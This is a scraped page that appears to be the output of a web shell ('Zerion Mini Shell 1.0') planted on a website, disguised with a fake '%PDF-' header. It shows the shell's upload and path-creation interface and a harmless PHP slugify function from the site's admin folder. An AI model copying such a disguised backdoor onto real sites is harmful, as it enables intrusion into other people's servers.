%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/medipszd/www/admin/includes/
Upload File :
Create Path :
Current File : /home/medipszd/www/admin/includes/slugify.php

<?php

function slugify($string){
$preps = array('in', 'at', 'on', 'by', 'into', 'off', 'onto', 'from', 'to', 'with', 'a', 'an', 'the', 'using', 'for');
	$pattern = '/\b(?:' . join('|', $preps) . ')\b/i';
	$string = preg_replace($pattern, '', $string);
$string = preg_replace('~[^\\pL\d]+~u', '-', $string);
$string = trim($string, '-');
$string = iconv('utf-8', 'us-ascii//TRANSLIT', $string);
$string = strtolower($string);
$string = preg_replace('~[^-\w]+~', '', $string);

return $string;

}

?>

Zerion Mini Shell 1.0